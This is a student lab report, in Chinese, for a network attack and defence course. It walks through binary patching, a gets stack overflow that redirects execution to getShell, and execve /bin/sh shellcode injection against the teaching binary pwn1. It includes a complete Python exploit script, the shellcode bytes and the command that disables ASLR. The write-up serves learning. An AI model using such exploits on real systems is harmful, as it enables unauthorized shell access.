20253903 2025-2026-2 《网络攻防实践》第9次作业
1. 实践内容
本周的学习内容主要围绕二进制程序分析、可执行文件修改、栈溢出漏洞利用以及 shellcode 注入运行展开。通过对 pwn1 程序的分析,可以进一步理解程序函数调用过程、栈帧结构、返回地址的作用,以及输入函数在缺少边界检查时可能带来的安全问题。
实践结合 IDA 静态分析和 gdb 动态调试,对程序的执行流程进行观察和验证。实践内容主要包括三个部分:第一,通过手工修改可执行文件中的 call 指令,让程序直接跳转到 getShell 函数;第二,利用 foo 函数中 gets 输入导致的栈溢出问题,构造 payload 覆盖返回地址,从而控制程序执行流;第三,在栈中注入自己编写的 shellcode,并通过覆盖返回地址使程序跳转到 shellcode 所在位置执行。
通过这些实践,可以更加直观地理解逆向分析与漏洞利用之间的联系,也能认识到程序安全防护机制、运行环境差异以及地址定位准确性对漏洞利用结果的影响。
2. 实践过程
2.1 手工修改可执行文件,改变程序执行流程,直接跳转到 getShell 函数
首先在 ida 中打开 pwn1 文件,文件没去符号表,在函数名中能直接看到几个关键函数:main foo getshell

双击点开,tab 能看到反汇编的相关信息,程序很简单,main 会调用 foo,foo 获取输入并原样返回。getshell 会拉起 /bin/sh

要跳转到 getshell 函数,直接把 main 函数的 call foo 改成 call getshell 就行,先选中 0x080484b5 这一行,edit->patch program->assemble 改成 call getShell

最终修改后是这个效果

之后 Edit->Patch program->Apply patches to input file 保存后放到 kali 中,首先 chmod +x pwn1 给执行权限,之后 ./pwn1 运行查看

可以看到成功跳转到命令行
2.2 利用 foo 函数的 Bof 漏洞,构造一个攻击输入字符串,覆盖返回地址,触发 getShell 函数
由于 gets 不会检查输入长度,输入多少字节,它就往栈上写多少字节,因此可以越过 buf,继续覆盖后面的栈数据。

输入缓冲区起点是 [ebp - 0x1c],返回地址在 [ebp + 4],那么从缓冲区开头到返回地址的距离是 0x1c+4=32 字节。
也就是说前 32 字节随便填充,第 33 到 36 字节写成 getShell 的地址,这样 foo 执行到 ret 的时候,就会返回到 getShell。
通过 python 构造 payload
python3 -c 'import sys,struct; sys.stdout.buffer.write(b"A"*32 + struct.pack("<I", 0x0804847d))' > payload

直接使用命令 (cat payload; cat) | ./pwn1 即可拿到一个交互式 shell
2.3 注入一个自己制作的 shellcode 并运行这段 shellcode
第二题已经算过 lea eax, [ebp-1Ch],这说明输入缓冲区起点是 ebp-0x1c,返回地址在 ebp+4,所以从输入缓冲区到返回地址的距离是 32 字节
所以第三题的基本 payload 格式是 payload=shellcode 部分+填充到 32 字节+shellcode 地址
由于这一次要运行我们自己写入的 shellcode,返回地址要写在栈上的地址,我们还需要动态调试一下获取栈上地址
我们这里使用这个经典的 32 位 shell code
xor eax, eax ; eax = 0
push eax ; 字符串结尾 NULL
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; ebx = "/bin//sh"
push eax ; argv[1] = NULL
push ebx ; argv[0] = "/bin//sh"
mov ecx, esp ; ecx = argv
cdq ; edx = 0
mov al, 0xb ; syscall number: execve
int 0x80
首先使用命令 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 避免每次运行栈地址变化

注意不能直接在 gdb 中 run 来看栈地址,在 gdb 中运行的栈地址与直接终端运行的栈地址还是会有区别,首先直接在一个终端中运行 pwn1

此时会卡在输入阶段,这是开启另一个终端,使用命令 ps -aux | grep "pwn1" 看一下该程序的 pid

在这里我的 pid 是 251207,那么直接使用命令 gdb attach 251207 进入
分别使用命令:
set disassembly-flavor intel
bt
看一下当前函数的调用栈

找一下 foo 函数的调用栈,看到在 frame 8
使用命令 frame 8 进入到该栈,使用命令 p/x $ebp-0x1c 看一下 buffer 的起始地址,我这里是 0xffffcf5c

已经知道 buffer addr 了,直接用脚本生成 payload,使用命令 python3 exploit.py 0xffffcf5c > payload 生成 payload
#!/usr/bin/env python3
import struct
import sys
buf_addr = int(sys.argv[1], 16)
shellcode = (
b"\x31\xc0"
b"\x50"
b"\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e"
b"\x89\xe3"
b"\x50"
b"\x53"
b"\x89\xe1"
b"\x99"
b"\xb0\x0b"
b"\xcd\x80"
)
offset = 32
# ret 后 esp 指向 buf + 36
ret_addr = buf_addr + offset + 4
payload = b"A" * offset
payload += struct.pack("<I", ret_addr)
payload += b"\x90" * 100
payload += shellcode
sys.stdout.buffer.write(payload + b"\n")
使用命令 (cat payload; cat) | ./pwn1 运行即可

3. 学习中遇到的问题及解决
3.1 尝试注入自己的 shellcode 时,在 dbg 动调得到的 buffer 地址与直接运行时不同
问题困扰了好久,实际做实验时发现系统中已经关闭了随机地址,但在 dbg 中运行得到的 buffer 地址写成 payload 直接打是无法打通的,原因在于由于运行环境不同,在 dbg 中 run 产生的栈地址与直接在终端运行中产生的栈地址不同。解决方案就是先直接终端运行,程序会卡在等待输入的阶段,此时通过 dbg attach 就可以在不影响程序运行环境的情况下对程序运行进行监听,此时不必写一个 probe payload 来定位到 buffer 地址,由于程序运行到 gets 时已经调用了 foo,所以直接看函数当前的调用栈即可,这样得到的栈地址就与正常运行时的一致了
4. 实践总结
通过本周实践,我对二进制程序的执行流程、函数调用关系以及栈溢出漏洞的利用方式有了更清晰的认识。最开始通过修改可执行文件中的 call 指令直接改变程序执行流程,可以直观看到静态补丁对程序行为的影响;随后通过覆盖返回地址跳转到 getShell 函数,进一步理解了栈中局部变量、保存的 ebp 和返回地址之间的位置关系;最后通过注入并执行 shellcode,体会到漏洞利用不仅需要理解原理,还需要结合实际运行环境准确定位地址。
这次实践中比较关键的一点是不能只依赖静态分析结果,还要通过动态调试验证程序在真实运行时的状态。尤其是在 shellcode 注入部分,即使已经关闭地址随机化,不同运行方式下的栈地址仍然可能不同,因此需要根据具体运行环境选择合适的调试方法。通过直接运行程序后再 attach 调试,可以得到更接近实际利用时的栈地址,也解决了 payload 在 gdb 中有效但在终端中无效的问题。
浙公网安备 33010602011771号